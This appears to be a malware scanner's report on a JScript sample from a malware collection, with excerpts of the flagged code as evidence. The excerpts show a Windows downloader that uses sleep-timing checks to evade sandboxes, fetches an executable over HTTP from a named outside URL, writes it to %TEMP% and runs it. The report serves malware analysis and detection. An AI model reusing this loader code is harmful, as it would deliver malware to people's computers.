Suspicious ^66% javascript-malware-collection Download

20160328_e25b3c3a967cc97e2b0e224faeb9f02b.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-2560be0e8ac9c7b5b8f3bf32bcb9cab7ebfc91511c19e225682c262b4aa9da2c4cb

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Pypwttk = false;
2var Nysanvkq = "CreateObject";
3var Jvskx = function Docnfzk() {return WScript[Nysanvkq]("WScript.Shell");}();
4var Vzhvndzkg = 123213;
5var Abcrjf = "MSXML2.XMLHTTP";
6var Arwlizcc = 2123213;
7var Tnyly = 0;
8function Gwpibdlg(Osrmwu){Jvskx["Run"](Osrmwu, Tnyly, Tnyly);};
9function Uijkrmz(){return Abcrjf;};
10function Yaniz(Gquimuffxw, Jtqfgrivc){return Gquimuffxw - Jtqfgrivc;};
11function Phtuyl(){return Nysanvkq;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Pypwttk = true;
15  @end
⋯6 lines
22function Astrxqmdqw()
23{
24var Awvhve = new this["Date"]();
25var Uumtcsft = Awvhve["getUTCMilliseconds"]();
26WScript["Sleep"](Ffklseatq());
27var Awvhve = new this["Date"]();
⋯10 lines

English function-word token "for" lines 38–42

38:3… 
39var Hdwwevngfk = false;
40var Gsecmidw = false;
41for (var Mqjnq = Tnyly; Mqjnq < Ffklseatq() * 1; Mqjnq++){if (Astrxqmdqw() != Tnyly){
42Hdwwevngfk = t …

Contains a hardcoded insecure HTTP URL lines 49–63

49:6… dwwevngfk && Oevrc() && Gsecmidw){
50function Lvlqxwti() {return Jvskx["ExpandEnvironmentStrings"]("%TEMP%/") + "BLvMfUHD.exe";};
51 Qknltos = Uijkrmz();
52 Bsqcauxgnk = WScript[Nysanvkq](Qknltos);
53 var Drebr = 1;
54 while (Drebr){
55try {
56Bsqcauxgnk[Cepntas]("GET", "http://perfect-nutrition.co.uk/lwqo9oa", false);
57Bsqcauxgnk["send"]();
58Dluidupzh = "Sleep";
59do {WScript[Dluidupzh](Ffklseatq() * 11)} while (Bsqcauxgnk["readystate"] < 2 * 2);
60Drebr = Tnyly;
61} catch(Pogyp){Drebr = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Cuutqwvw(Lbobjrydz) {v …

Calls computed member from function result lines 63–75

63:52… , 3, 4, 5, Lbobjrydz); return Zothczvup;};
64Ujhqpshaxe = WScript[Phtuyl()]("ADODB.Stream");
65Qknltos = Ujhqpshaxe;
66Qknltos[Cepntas]();
67Qknltos["type"] = Cuutqwvw(1);
68Qknltos["write"](Bsqcauxgnk["ResponseBody"]);
69Ujhqpshaxe["position"] = Cuutqwvw(Tnyly);
70Qknltos["Save" + "ToFile"](Lvlqxwti(), 2);
71Ujhqpshaxe["close"]();
72Gwpibdlg(Lvlqxwti());
73}
74}
75